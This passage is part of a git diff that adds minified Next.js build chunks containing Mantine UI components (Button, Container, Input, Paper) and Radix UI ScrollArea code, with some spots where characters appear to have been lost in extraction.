e},L=(e,r)=>v(e,w(r));let j={xs:{height:y.J.xs,paddingLeft:14,paddingRight:14},sm:{height:y.J.sm,paddingLeft:18,paddingRight:18},md:{height:y.J.md,paddingLeft:22,paddingRight:22},lg:{height:y.J.lg,paddingLeft:26,paddingRight:26},xl:{height:y.J.xl,paddingLeft:32,paddingRight:32},"compact-xs":{height:22,paddingLeft:7,paddingRight:7},"compact-sm":{height:26,paddingLeft:8,paddingRight:8},"compact-md":{height:30,paddingLeft:10,paddingRight:10},"compact-lg":{height:34,paddingLeft:12,paddingRight:12},"compact-xl":{height:40,paddingLeft:14,paddingRight:14}},C=e=>({display:e?"block":"inline-block",width:e?"100%":"auto"});var I=(0,i.k)((e,{color:r,size:o,radius:t,fullWidth:n,compact:a,gradient:i,variant:l,withLeftIcon:d,withRightIcon:c})=>({root:L(z(L(z(z(z(z({},function({compact:e,size:r,withLeftIcon:o,withRightIcon:t}){if(e)return j[`compact-${r}`];let n=j[r];return L(z({},n),{paddingLeft:o?n.paddingLeft/1.5:n.paddingLeft,paddingRight:t?n.paddingRight/1.5:n.paddingRight})}({compact:a,size:o,withLeftIcon:d,withRightIcon:c})),e.fn.fontStyles()),e.fn.focusStyles()),C(n)),{borderRadius:e.fn.radius(t),fontWeight:600,position:"relative",lineHeight:1,fontSize:e.fn.size({size:o,sizes:e.fontSizes}),userSelect:"none",cursor:"pointer"}),function({variant:e,theme:r,color:o,gradient:t}){let n=r.fn.variant({color:o,variant:e,gradient:t});return"gradient"===e?{border:0,backgroundImage:n.background,color:n.color,"&:hover":r.fn.hover({backgroundSize:"200%"})}:z({border:`1px solid ${n.border}`,backgroundColor:n.background,color:n.color},r.fn.hover({backgroundColor:n.hover}))}({variant:l,theme:e,color:r,gradient:i})),{"&:active":e.activeStyles,"&:disabled, &[data-disabled]":{borderColor:"transparent",backgroundColor:"dark"===e.colorScheme?e.colors.dark[4]:e.colors.gray[2],color:"dark"===e.colorScheme?e.colors.dark[6]:e.colors.gray[5],cursor:"not-allowed",backgroundImage:"none",pointerEvents:"none","&:active":{transform:"none"}},"&[data-loading]":{pointerEvents:"none","&::before":{content:'""',position:"absolute",top:-1,left:-1,right:-1,bottom:-1,backgroundColor:"dark"===e.colorScheme?e.fn.rgba(e.colors.dark[7],.5):"rgba(255, 255, 255, .5)",borderRadius:e.fn.radius(t),cursor:"not-allowed"}}}),icon:{display:"flex",alignItems:"center"},leftIcon:{marginRight:10},rightIcon:{marginLeft:10},centerLoader:{position:"absolute",left:"50%",transform:"translateX(-50%)",opacity:.5},inner:{display:"flex",alignItems:"center",justifyContent:"center",height:"100%",overflow:"visible"},label:{whiteSpace:"nowrap",height:"100%",overflow:"hidden",display:"flex",alignItems:"center"}})),P=o(966),N=o(4736),E=Object.defineProperty,W=Object.getOwnPropertySymbols,B=Object.prototype.hasOwnProperty,T=Object.prototype.propertyIsEnumerable,H=(e,r,o)=>r in e?E(e,r,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[r]=o,J=(e,r)=>{for(var o in r||(r={}))B.call(r,o)&&H(e,o,r[o]);if(W)for(var o of W(r))T.call(r,o)&&H(e,o,r[o]);return e},$=(e,r)=>{var o={};for(var t in e)B.call(e,t)&&0>r.indexOf(t)&&(o[t]=e[t]);if(null!=e&&W)for(var t of W(e))0>r.indexOf(t)&&T.call(e,t)&&(o[t]=e[t]);return o};let G={size:"sm",type:"button",variant:"filled",loaderPosition:"left"},_=(0,t.forwardRef)((e,r)=>{let o=(0,n.N4)("Button",G,e),{className:a,size:i,color:l,type:d,disabled:c,children:s,leftIcon:p,rightIcon:f,fullWidth:g,variant:u,radius:b,uppercase:h,compact:m,loading:y,loaderPosition:k,loaderProps:v,gradient:w,classNames:O,styles:x,unstyled:R}=o,S=$(o,["className","size","color","type","disabled","children","leftIcon","rightIcon","fullWidth","variant","radius","uppercase","compact","loading","loaderPosition","loaderProps","gradient","classNames","styles","unstyled"]),{classes:z,cx:L,theme:C}=I({radius:b,color:l,size:i,fullWidth:g,compact:m,gradient:w,variant:u,withLeftIcon:!!p,withRightIcon:!!f},{name:"Button",unstyled:R,classNames:O,styles:x}),E=C.fn.variant({color:l,variant:u}),W=t.createElement(P.a,J({color:E.color,size:C.fn.size({size:i,sizes:j}).height/2},v));return t.createElement(N.k,J({className:L(z.root,a),type:d,disabled:c,"data-button":!0,"data-disabled":c||void 0,"data-loading":y||void 0,ref:r,unstyled:R},S),t.createElement("div",{className:z.inner},(p||y&&"left"===k)&&t.createElement("span",{className:L(z.icon,z.leftIcon)},y&&"left"===k?W:p),y&&"center"===k&&t.createElement("span",{className:z.centerLoader},W),t.createElement("span",{className:z.label,style:{textTransform:h?"uppercase":void 0}},s),(f||y&&"right"===k)&&t.createElement("span",{className:L(z.icon,z.rightIcon)},y&&"right"===k?W:f)))});_.displayName="@mantine/core/Button",_.Group=m;let D=(0,a.F)(_)},2445:function(e,r,o){o.d(r,{W:function(){return b}});var t=o(7294),n=o(4761),a=(0,o(6817).k)((e,{fluid:r,size:o,sizes:t})=>({root:{paddingLeft:e.spacing.md,paddingRight:e.spacing.md,maxWidth:r?"100%":e.fn.size({size:o,sizes:t}),marginLeft:"auto",marginRight:"auto"}})),i=o(4523),l=Object.defineProperty,d=Object.getOwnPropertySymbols,c=Object.prototype.hasOwnProperty,s=Object.prototype.propertyIsEnumerable,p=(e,r,o)=>r in e?l(e,r,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[r]=o,f=(e,r)=>{for(var o in r||(r={}))c.call(r,o)&&p(e,o,r[o]);if(d)for(var o of d(r))s.call(r,o)&&p(e,o,r[o]);return e},g=(e,r)=>{var o={};for(var t in e)c.call(e,t)&&0>r.indexOf(t)&&(o[t]=e[t]);if(null!=e&&d)for(var t of d(e))0>r.indexOf(t)&&s.call(e,t)&&(o[t]=e[t]);return o};let u={sizes:{xs:540,sm:720,md:960,lg:1140,xl:1320}},b=(0,t.forwardRef)((e,r)=>{let o=(0,n.N4)("Container",u,e),{className:l,fluid:d,size:c,unstyled:s,sizes:p}=o,b=g(o,["className","fluid","size","unstyled","sizes"]),{classes:h,cx:m}=a({fluid:d,size:c,sizes:p},{unstyled:s,name:"Container"});return t.createElement(i.x,f({className:m(h.root,l),ref:r},b))});b.displayName="@mantine/core/Container"},5227:function(e,r,o){o.d(r,{J:function(){return g}});var t=o(6817),n=Object.defineProperty,a=Object.defineProperties,i=Object.getOwnPropertyDescriptors,l=Object.getOwnPropertySymbols,d=Object.prototype.hasOwnProperty,c=Object.prototype.propertyIsEnumerable,s=(e,r,o)=>r in e?n(e,r,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[r]=o,p=(e,r)=>{for(var o in r||(r={}))d.call(r,o)&&s(e,o,r[o]);if(l)for(var o of l(r))c.call(r,o)&&s(e,o,r[o]);return e},f=(e,r)=>a(e,i(r));let g={xs:30,sm:36,md:42,lg:50,xl:60};var u=(0,t.k)((e,{size:r,multiline:o,radius:t,variant:n,invalid:a,rightSectionWidth:i,withRightSection:l,iconWidth:d,offsetBottom:c,offsetTop:s,pointer:u})=>{let b=e.fn.variant({variant:"filled",color:"red"}).background,h="default"===n||"filled"===n?{minHeight:e.fn.size({size:r,sizes:g}),paddingLeft:e.fn.size({size:r,sizes:g})/3,paddingRight:l?i:e.fn.size({size:r,sizes:g})/3,borderRadius:e.fn.radius(t)}:null;return{wrapper:{position:"relative",marginTop:s?`calc(${e.spacing.xs}px / 2)`:void 0,marginBottom:c?`calc(${e.spacing.xs}px / 2)`:void 0},input:p(f(p(f(p({},e.fn.fontStyles()),{height:o?"unstyled"===n?void 0:"auto":e.fn.size({size:r,sizes:g}),WebkitTapHighlightColor:"transparent",lineHeight:o?e.lineHeight:`${e.fn.size({size:r,sizes:g})-2}px`,appearance:"none",resize:"none",boxSizing:"border-box",fontSize:e.fn.size({size:r,sizes:e.fontSizes}),width:"100%",color:"dark"===e.colorScheme?e.colors.dark[0]:e.black,display:"block",textAlign:"left",cursor:u?"pointer":void 0}),h),{"&:disabled":{backgroundColor:"dark"===e.colorScheme?e.colors.dark[6]:e.colors.gray[1],color:e.colors.dark[2],opacity:.6,cursor:"not-allowed","&::placeholder":{color:e.colors.dark[2]}},"&::placeholder":f(p({},e.fn.placeholderStyles()),{opacity:1}),"&::-webkit-inner-spin-button, &::-webkit-outer-spin-button, &::-webkit-search-decoration, &::-webkit-search-cancel-button, &::-webkit-search-results-button, &::-webkit-search-results-decoration":{appearance:"none"},"&[type=number]":{MozAppearance:"textfield"}}),function({theme:e,variant:r}){return"default"===r?{border:`1px solid ${"dark"===e.colorScheme?e.colors.dark[4]:e.colors.gray[4]}`,backgroundColor:"dark"===e.colorScheme?e.colors.dark[6]:e.white,transition:"border-color 100ms ease","&:focus, &:focus-within":e.focusRingStyles.inputStyles(e)}:"filled"===r?{border:"1px solid transparent",backgroundColor:"dark"===e.colorScheme?e.colors.dark[5]:e.colors.gray[1],"&:focus, &:focus-within":e.focusRingStyles.inputStyles(e)}:{borderWidth:0,color:"dark"===e.colorScheme?e.colors.dark[0]:e.black,backgroundColor:"transparent",minHeight:28,outline:0,"&:focus, &:focus-within":{outline:"none",borderColor:"transparent"},"&:disabled":{backgroundColor:"transparent","&:focus, &:focus-within":{outline:"none",borderColor:"transparent"}}}}({theme:e,variant:n})),withIcon:{paddingLeft:"number"==typeof d?d:e.fn.size({size:r,sizes:g})},invalid:{color:b,borderColor:b,"&::placeholder":{opacity:1,color:b}},disabled:{backgroundColor:"dark"===e.colorScheme?e.colors.dark[6]:e.colors.gray[1],color:e.colors.dark[2],opacity:.6,cursor:"not-allowed","&::placeholder":{color:e.colors.dark[2]}},icon:{pointerEvents:"none",position:"absolute",zIndex:1,left:0,top:0,bottom:0,display:"flex",alignItems:"center",justifyContent:"center",width:"number"==typeof d?d:e.fn.size({size:r,sizes:g}),color:a?e.colors.red["dark"===e.colorScheme?6:7]:"dark"===e.colorScheme?e.colors.dark[2]:e.colors.gray[5]},rightSection:{position:"absolute",top:0,bottom:0,right:0,display:"flex",alignItems:"center",justifyContent:"center",width:i}}});r.Z=u}}]); \ No newline at end of file diff --git a/server/web/static/_next/static/chunks/968-10dac91721e96090.js b/server/web/static/_next/static/chunks/968-10dac91721e96090.js new file mode 100644 index 0000000..da4cb80 --- /dev/null +++ b/server/web/static/_next/static/chunks/968-10dac91721e96090.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[968],{2623:function(e,r,t){t.d(r,{X:function(){return v}});var n=t(7294),o=t(4761),l=t(8427),i=(0,t(6817).k)((e,{radius:r,shadow:t,withBorder:n})=>({root:{outline:0,WebkitTapHighlightColor:"transparent",display:"block",textDecoration:"none",color:"dark"===e.colorScheme?e.colors.dark[0]:e.black,backgroundColor:"dark"===e.colorScheme?e.colors.dark[7]:e.white,boxSizing:"border-box",borderRadius:e.fn.radius(r),boxShadow:e.shadows[t]||t||"none",border:n?`1px solid ${"dark"===e.colorScheme?e.colors.dark[4]:e.colors.gray[3]}`:void 0}})),a=t(4523),c=Object.defineProperty,s=Object.getOwnPropertySymbols,u=Object.prototype.hasOwnProperty,d=Object.prototype.propertyIsEnumerable,f=(e,r,t)=>r in e?c(e,r,{enumerable:!0,configurable:!0,writable:!0,value:t}):e[r]=t,p=(e,r)=>{for(var t in r||(r={}))u.call(r,t)&&f(e,t,r[t]);if(s)for(var t of s(r))d.call(r,t)&&f(e,t,r[t]);return e},m=(e,r)=>{var t={};for(var n in e)u.call(e,n)&&0>r.indexOf(n)&&(t[n]=e[n]);if(null!=e&&s)for(var n of s(e))0>r.indexOf(n)&&d.call(e,n)&&(t[n]=e[n]);return t};let h={},b=(0,n.forwardRef)((e,r)=>{let t=(0,o.N4)("Paper",h,e),{className:l,children:c,radius:s,withBorder:u,shadow:d,unstyled:f}=t,b=m(t,["className","children","radius","withBorder","shadow","unstyled"]),{classes:v,cx:w}=i({radius:s,shadow:d,withBorder:u},{name:"Paper",unstyled:f});return n.createElement(a.x,p({className:w(v.root,l),ref:r},b),c)});b.displayName="@mantine/core/Paper";let v=(0,l.F)(b)},3723:function(e,r,t){t.d(r,{x:function(){return em}});var n=t(7294),o=t(7462),l=t(3935);function i(...e){return r=>e.forEach(e=>{var t;"function"==typeof(t=e)?t(r):null!=t&&(t.current=r)})}function a(...e){return(0,n.useCallback)(i(...e),e)}let c=(0,n.forwardRef)((e,r)=>{let{children:t,...l}=e,i=n.Children.toArray(t),a=i.find(d);if(a){let c=a.props.children,u=i.map(e=>e!==a?e:n.Children.count(c)>1?n.Children.only(null):(0,n.isValidElement)(c)?c.props.children:null);return(0,n.createElement)(s,(0,o.Z)({},l,{ref:r}),(0,n.isValidElement)(c)?(0,n.cloneElement)(c,void 0,u):null)}return(0,n.createElement)(s,(0,o.Z)({},l,{ref:r}),t)});c.displayName="Slot";let s=(0,n.forwardRef)((e,r)=>{let{children:t,...o}=e;return(0,n.isValidElement)(t)?(0,n.cloneElement)(t,{...function(e,r){let t={...r};for(let n in r){let o=e[n],l=r[n],i=/^on[A-Z]/.test(n);i?o&&l?t[n]=(...e)=>{l(...e),o(...e)}:o&&(t[n]=o):"style"===n?t[n]={...o,...l}:"className"===n&&(t[n]=[o,l].filter(Boolean).join(" "))}return{...e,...t}}(o,t.props),ref:i(r,t.ref)}):n.Children.count(t)>1?n.Children.only(null):null});s.displayName="SlotClone";let u=({children:e})=>(0,n.createElement)(n.Fragment,null,e);function d(e){return(0,n.isValidElement)(e)&&e.type===u}let f=["a","button","div","h2","h3","img","label","li","nav","ol","p","span","svg","ul"].reduce((e,r)=>{let t=(0,n.forwardRef)((e,t)=>{let{asChild:l,...i}=e,a=l?c:r;return(0,n.useEffect)(()=>{window[Symbol.for("radix-ui")]=!0},[]),(0,n.createElement)(a,(0,o.Z)({},i,{ref:t}))});return t.displayName=`Primitive.${r}`,{...e,[r]:t}},{}),p=Boolean(null==globalThis?void 0:globalThis.document)?n.useLayoutEffect:()=>{},m=e=>{let{present:r,children:t}=e,o=function(e){var r;let[t,o]=(0,n.useState)(),i=(0,n.useRef)({}),a=(0,n.useRef)(e),c=(0,n.useRef)("none"),[s,u]=(r={mounted:{UNMOUNT:"unmounted",ANIMATION_OUT:"unmountSuspended"},unmountSuspended:{MOUNT:"mounted",ANIMATION_END:"unmounted"},unmounted:{MOUNT:"mounted"}},(0,n.useReducer)((e,t)=>{let n=r[e][t];return null!=n?n:e},e?"mounted":"unmounted"));return(0,n.useEffect)(()=>{let e=h(i.current);c.current="mounted"===s?e:"none"},[s]),p(()=>{let r=i.current,t=a.current;if(t!==e){let n=c.current,o=h(r);e?u("MOUNT"):"none"===o||(null==r?void 0:r.display)==="none"?u("UNMOUNT"):t&&n!==o?u("ANIMATION_OUT"):u("UNMOUNT"),a.current=e}},[e,u]),p(()=>{if(t){let e=e=>{let r=h(i.current),n=r.includes(e.animationName);e.target===t&&n&&(0,l.flushSync)(()=>u("ANIMATION_END"))},r=e=>{e.target===t&&(c.current=h(i.current))};return t.addEventListener("animationstart",r),t.addEventListener("animationcancel",e),t.addEventListener("animationend",e),()=>{t.removeEventListener("animationstart",r),t.removeEventListener("animationcancel",e),t.removeEventListener("animationend",e)}}u("ANIMATION_END")},[t,u]),{isPresent:["mounted","unmountSuspended"].includes(s),ref:(0,n.useCallback)(e=>{e&&(i.current=getComputedStyle(e)),o(e)},[])}}(r),i="function"==typeof t?t({present:o.isPresent}):n.Children.only(t),c=a(o.ref,i.ref);return"function"==typeof t||o.isPresent?(0,n.cloneElement)(i,{ref:c}):null};function h(e){return(null==e?void 0:e.animationName)||"none"}function b(e){let r=(0,n.useRef)(e);return(0,n.useEffect)(()=>{r.current=e}),(0,n.useMemo)(()=>(...e)=>{var t;return null===(t=r.current)||void 0===t?void 0:t.call(r,...e)},[])}m.displayName="Presence";let v=(0,n.createContext)(void 0);function w(e,r,{checkForDefaultPrevented:t=!0}={}){return function(n){if(null==e||e(n),!1===t||!n.defaultPrevented)return null==r?void 0:r(n)}}let g="ScrollArea",[y,E]=function(e,r=[]){let t=[],o=()=>{let r=t.map(e=>(0,n.createContext)(e));return function(t){let o=(null==t?void 0:t[e])||r;return(0,n.useMemo)(()=>({[`__scope${e}`]:{...t,[e]:o}}),[t,o])}};return o.scopeName=e,[function(r,o){let l=(0,n.createContext)(o),i=t.length;function a(r){let{scope:t,children:o,...a}=r,c=(null==t?void 0:t[e][i])||l,s=(0,n.useMemo)(()=>a,Object.values(a));return(0,n.createElement)(c.Provider,{value:s},o)}return t=[...t,o],a.displayName=r+"Provider",[a,function(t,a){let c=(null==a?void 0:a[e][i])||l,s=(0,n.useContext)(c);if(s)return s;if(void 0!==o)return o;throw Error(`\`${t}\` must be used within \`${r}\``)}]},function(...e){let r=e[0];if(1===e.length)return r;let t=()=>{let t=e.map(e=>({useScope:e(),scopeName:e.scopeName}));return function(e){let o=t.reduce((r,{useScope:t,scopeName:n})=>{let o=t(e),l=o[`__scope${n}`];return{...r,...l}},{});return(0,n.useMemo)(()=>({[`__scope${r.scopeName}`]:o}),[o])}};return t.scopeName=r.scopeName,t}(o,...r)]}(g),[S,C]=y(g),N=(0,n.forwardRef)((e,r)=>{let{__scopeScrollArea:t,type:l="hover",dir:i,scrollHideDelay:c=600,...s}=e,[u,d]=(0,n.useState)(null),[p,m]=(0,n.useState)(null),[h,b]=(0,n.useState)(null),[w,g]=(0,n.useState)(null),[y,E]=(0,n.useState)(null),[C,N]=(0,n.useState)(0),[T,P]=(0,n.useState)(0),[R,O]=(0,n.useState)(!1),[x,_]=(0,n.useState)(!1),A=a(r,e=>d(e)),z=function(e){let r=(0,n.useContext)(v);return e||r||"ltr"}(i);return(0,n.createElement)(S,{scope:t,type:l,dir:z,scrollHideDelay:c,scrollArea:u,viewport:p,onViewportChange:m,content:h,onContentChange:b,scrollbarX:w,onScrollbarXChange:g,scrollbarXEnabled:R,onScrollbarXEnabledChange:O,scrollbarY:y,onScrollbarYChange:E,scrollbarYEnabled:x,onScrollbarYEnabledChange:_,onCornerWidthChange:N,onCornerHeightChange:P},(0,n.createElement)(f.div,(0,o.Z)({dir:z},s,{ref:A,style:{position:"relative","--radix-scroll-area-corner-width":C+"px","--radix-scroll-area-corner-height":T+"px",...e.style}})))}),T=(0,n.forwardRef)((e,r)=>{let{__scopeScrollArea:t,children:l,...i}=e,c=C("ScrollAreaViewport",t),s=(0,n.useRef)(null),u=a(r,s,c.onViewportChange);return(0,n.createElement)(n.Fragment,null,(0,n.createElement)("style",{dangerouslySetInnerHTML:{__html:"[data-radix-scroll-area-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-scroll-area-viewport]::-webkit-scrollbar{display:none}"}}),(0,n.createElement)(f.div,(0,o.Z)({"data-radix-scroll-area-viewport":""},i,{ref:u,style:{overflowX:c.scrollbarXEnabled?"scroll":"hidden",overflowY:c.scrollbarYEnabled?"scroll":"hidden",...e.style}}),(0,n.createElement)("div",{ref:c.onContentChange,style:{minWidth:"100%",display:"table"}},l)))}),P="ScrollAreaScrollbar",R=(0,n.forwardRef)((e,r)=>{let{forceMount:t,...l}=e,i=C(P,e.__scopeScrollArea),{onScrollbarXEnabledChange:a,onScrollbarYEnabledChange:c}=i,s="horizontal"===e.orientation;return(0,n.useEffect)(()=>(s?a(!0):c(!0),()=>{s?a(!1):c(!1)}),[s,a,c]),"hover"===i.type?(0,n.createElement)(O,(0,o.Z)({},l,{ref:r,forceMount:t})):"scroll"===i.type?(0,n.createElement)(x,(0,o.Z)({},l,{ref:r,forceMount:t})):"auto"===i.type?(0,n.createElement)(_,(0,o.Z)({},l,{ref:r,forceMount:t})):"always"===i.type?(0,n.createElement)(A,(0,o.Z)({},l,{ref:r})):null}),O=(0,n.forwardRef)((e,r)=>{let{forceMount:t,...l}=e,i=C(P,e.__scopeScrollArea),[a,c]=(0,n.useState)(!1);return(0,n.useEffect)(()=>{let e=i.scrollArea,r=0;if(e){let t=()=>{window.clearTimeout(r),c(!0)},n=()=>{r=window.setTimeout(()=>c(!1),i.scrollHideDelay)};return e.addEventListener("pointerenter",t),e.addEventListener("pointerleave",n),()=>{window.clearTimeout(r),e.removeEventListener("pointerenter",t),e.removeEventListener("pointerleave",n)}}},[i.scrollArea,i.scrollHideDelay]),(0,n.createElement)(m,{present:t||a},(0,n.createElement)(_,(0,o.Z)({"data-state":a?"visible":"hidden"},l,{ref:r})))}),x=(0,n.forwardRef)((e,r)=>{var t;let{forceMount:l,...i}=e,a=C(P,e.__scopeScrollArea),c="horizontal"===e.orientation,s=q(()=>d("SCROLL_END"),100),[u,d]=(t={hidden:{SCROLL:"scrolling"},scrolling:{SCROLL_END:"idle",POINTER_ENTER:"interacting"},interacting:{SCROLL:"interacting",POINTER_LEAVE:"idle"},idle:{HIDE:"hidden",SCROLL:"scrolling",POINTER_ENTER:"interacting"}},(0,n.useReducer)((e,r)=>{let n=t[e][r];return null!=n?n:e},"hidden"));return(0,n.useEffect)(()=>{if("idle"===u){let e=window.setTimeout(()=>d("HIDE"),a.scrollHideDelay);return()=>window.clearTimeout(e)}},[u,a.scrollHideDelay,d]),(0,n.useEffect)(()=>{let e=a.viewport,r=c?"scrollLeft":"scrollTop";if(e){let t=e[r],n=()=>{let n=e[r],o=t!==n;o&&(d("SCROLL"),s()),t=n};return e.addEventListener("scroll",n),()=>e.removeEventListener("scroll",n)}},[a.viewport,c,d,s]),(0,n.createElement)(m,{present:l||"hidden"!==u},(0,n.createElement)(A,(0,o.Z)({"data-state":"hidden"===u?"hidden":"visible"},i,{ref:r,onPointerEnter:w(e.onPointerEnter,()=>d("POINTER_ENTER")),onPointerLeave:w(e.onPointerLeave,()=>d("POINTER_LEAVE"))})))}),_=(0,n.forwardRef)((e,r)=>{let t=C(P,e.__scopeScrollArea),{forceMount:l,...i}=e,[a,c]=(0,n.useState)(!1),s="horizontal"===e.orientation,u=q(()=>{if(t.viewport){let e=t.viewport.offsetWidth{let{orientation:t="vertical",...l}=e,i=C(P,e.__scopeScrollArea),a=(0,n.useRef)(null),c=(0,n.useRef)(0),[s,u]=(0,n.useState)({content:0,viewport:0,scrollbar:{size:0,paddingStart:0,paddingEnd:0}}),d=Y(s.viewport,s.content),f={...l,sizes:s,onSizesChange:u,hasThumb:Boolean(d>0&&d<1),onThumbChange:e=>a.current=e,onThumbPointerUp:()=>c.current=0,onThumbPointerDown:e=>c.current=e};function p(e,r){return function(e,r,t,n="ltr"){let o=$(t),l=r||o/2,i=t.scrollbar.paddingStart+l,a=t.scrollbar.size-t.scrollbar.paddingEnd-(o-l),c=t.content-t.viewport,s=B([i,a],"ltr"===n?[0,c]:[-1*c,0]);return s(e)}(e,c.current,s,r)}return"horizontal"===t?(0,n.createElement)(z,(0,o.Z)({},f,{ref:r,onThumbPositionChange:()=>{if(i.viewport&&a.current){let e=i.viewport.scrollLeft,r=F(e,s,i.dir);a.current.style.transform=`translate3d(${r}px, 0, 0)`}},onWheelScroll:e=>{i.viewport&&(i.viewport.scrollLeft=e)},onDragScroll:e=>{i.viewport&&(i.viewport.scrollLeft=p(e,i.dir))}})):"vertical"===t?(0,n.createElement)(L,(0,o.Z)({},f,{ref:r,onThumbPositionChange:()=>{if(i.viewport&&a.current){let e=i.viewport.scrollTop,r=F(e,s);a.current.style.transform=`translate3d(0, ${r}px, 0)`}},onWheelScroll:e=>{i.viewport&&(i.viewport.scrollTop=e)},onDragScroll:e=>{i.viewport&&(i.viewport.scrollTop=p(e))}})):null}),z=(0,n.forwardRef)((e,r)=>{let{sizes:t,onSizesChange:l,...i}=e,c=C(P,e.__scopeScrollArea),[s,u]=(0,n.useState)(),d=(0,n.useRef)(null),f=a(r,d,c.onScrollbarXChange);return(0,n.useEffect)(()=>{d.current&&u(getComputedStyle(d.current))},[d]),(0,n.createElement)(M,(0,o.Z)({"data-orientation":"horizontal"},i,{ref:f,sizes:t,style:{bottom:0,left:"rtl"===c.dir?"var(--radix-scroll-area-corner-width)":0,right:"ltr"===c.dir?"var(--radix-scroll-area-corner-width)":0,"--radix-scroll-area-thumb-width":$(t)+"px",...e.style},onThumbPointerDown:r=>e.onThumbPointerDown(r.x),onDragScroll:r=>e.onDragScroll(r.x),onWheelScroll:(r,t)=>{if(c.viewport){let n=c.viewport.scrollLeft+r.deltaX;e.onWheelScroll(n),n>0&&n{d.current&&c.viewport&&s&&l({content:c.viewport.scrollWidth,viewport:c.viewport.offsetWidth,scrollbar:{size:d.current.clientWidth,paddingStart:X(s.paddingLeft),paddingEnd:X(s.paddingRight)}})}}))}),L=(0,n.forwardRef)((e,r)=>{let{sizes:t,onSizesChange:l,...i}=e,c=C(P,e.__scopeScrollArea),[s,u]=(0,n.useState)(),d=(0,n.useRef)(null),f=a(r,d,c.onScrollbarYChange);return(0,n.useEffect)(()=>{d.current&&u(getComputedStyle(d.current))},[d]),(0,n.createElement)(M,(0,o.Z)({"data-orientation":"vertical"},i,{ref:f,sizes:t,style:{top:0,right:"ltr"===c.dir?0:void 0,left:"rtl"===c.dir?0:void 0,bottom:"var(--radix-scroll-area-corner-height)","--radix-scroll-area-thumb-height":$(t)+"px",...e.style},onThumbPointerDown:r=>e.onThumbPointerDown(r.y),onDragScroll:r=>e.onDragScroll(r.y),onWheelScroll:(r,t)=>{if(c.viewport){let n=c.viewport.scrollTop+r.deltaY;e.onWheelScroll(n),n>0&&n{d.current&&c.viewport&&s&&l({content:c.viewport.scrollHeight,viewport:c.viewport.offsetHeight,scrollbar:{size:d.current.clientHeight,paddingStart:X(s.paddingTop),paddingEnd:X(s.paddingBottom)}})}}))}),[D,k]=y(P),M=(0,n.forwardRef)((e,r)=>{let{__scopeScrollArea:t,sizes:l,hasThumb:i,onThumbChange:c,onThumbPointerUp:s,onThumbPointerDown:u,onThumbPositionChange:d,onDragScroll:p,onWheelScroll:m,onResize:h,...v}=e,g=C(P,t),[y,E]=(0,n.useState)(null),S=a(r,e=>E(e)),N=(0,n.useRef)(null),T=(0,n.useRef)(""),R=g.viewport,O=l.content-l.viewport,x=b(m),_=b(d),A=q(h,10);function z(e){if(N.current){let r=e.clientX-N.current.left,t=e.clientY-N.current.top;p({x:r,y:t})}}return(0,n.useEffect)(()=>{let e=e=>{let r=e.target,t=null==y?void 0:y.contains(r);t&&x(e,O)};return document.addEventListener("wheel",e,{passive:!1}),()=>document.removeEventListener("wheel",e,{passive:!1})},[R,y,O,x]),(0,n.useEffect)(_,[l,_]),G(y,A),G(g.content,A),(0,n.createElement)(D,{scope:t,scrollbar:y,hasThumb:i,onThumbChange:b(c),onThumbPointerUp:b(s),onThumbPositionChange:_,onThumbPointerDown:b(u)},(0,n.createElement)(f.div,(0,o.Z)({},v,{ref:S,style:{position:"absolute",...v.style},onPointerDown:w(e.onPointerDown,e=>{if(0===e.button){let r=e.target;r.setPointerCapture(e.pointerId),N.current=y.getBoundingClientRect(),T.current=document.body.style.webkitUserSelect,document.body.style.webkitUserSelect="none",z(e)}}),onPointerMove:w(e.onPointerMove,z),onPointerUp:w(e.onPointerUp,e=>{let r=e.target;r.hasPointerCapture(e.pointerId)&&r.releasePointerCapture(e.pointerId),document.body.style.webkitUserSelect=T.current,N.current=null})})))}),H="ScrollAreaThumb",I=(0,n.forwardRef)((e,r)=>{let{forceMount:t,...l}=e,i=k(H,e.__scopeScrollArea);return(0,n.createElement)(m,{present:t||i.hasThumb},(0,n.createElement)(Z,(0,o.Z)({ref:r},l)))}),Z=(0,n.forwardRef)((e,r)=>{let{__scopeScrollArea:t,style:l,...i}=e,c=C(H,t),s=k(H,t),{onThumbPositionChange:u}=s,d=a(r,e=>s.onThumbChange(e)),p=(0,n.useRef)(),m=q(()=>{p.current&&(p.current(),p.current=void 0)},100);return(0,n.useEffect)(()=>{let e=c.viewport;if(e){let r=()=>{if(m(),!p.current){let r=V(e,u);p.current=r,u()}};return u(),e.addEventListener("scroll",r),()=>e.removeEventListener("scroll",r)}},[c.viewport,m,u]),(0,n.createElement)(f.div,(0,o.Z)({"data-state":s.hasThumb?"visible":"hidden"},i,{ref:d,style:{width:"var(--radix-scroll-area-thumb-width)",height:"var(--radix-scroll-area-thumb-height)",...l},onPointerDownCapture:w(e.onPointerDownCapture,e=>{let r=e.target,t=r.getBoundingClientRect(),n=e.clientX-t.left,o=e.clientY-t.top;s.onThumbPointerDown({x:n,y:o})}),onPointerUp:w(e.onPointerUp,s.onThumbPointerUp)}))}),j="ScrollAreaCorner",U=(0,n.forwardRef)((e,r)=>{let t=C(j,e.__scopeScrollArea),l=Boolean(t.scrollbarX&&t.scrollbarY),i="scroll"!==t.type&&l;return i?(0,n.createElement)(W,(0,o.Z)({},e,{ref:r})):null}),W=(0,n.forwardRef)((e,r)=>{let{__scopeScrollArea:t,...l}=e,i=C(j,t),[a,c]=(0,n.useState)(0),[s,u]=(0,n.useState)(0),d=Boolean(a&&s);return G(i.scrollbarX,()=>{var e;let r=(null===(e=i.scrollbarX)||void 0===e?void 0:e.offsetHeight)||0;i.onCornerHeightChange(r),u(r)}),G(i.scrollbarY,()=>{var e;let r=(null===(e=i.scrollbarY)||void 0===e?void 0:e.offsetWidth)||0;i.onCornerWidthChange(r),c(r)}),d?(0,n.createElement)(f.div,(0,o.Z)({},l,{ref:r,style:{width:a,height:s,position:"absolute",right:"ltr"===i.dir?0:void 0,left:"rtl"===i.dir?0:void 0,bottom:0,...e.style}})):null});function X(e){return e?parseInt(e,10):0}function Y(e,r){let t=e/r;return isNaN(t)?0:t}function $(e){let r=Y(e.viewport,e.content),t=e.scrollbar.paddingStart+e.scrollbar.paddingEnd,n=(e.scrollbar.size-t)*r;return Math.max(n,18)}function F(e,r,t="ltr"){let 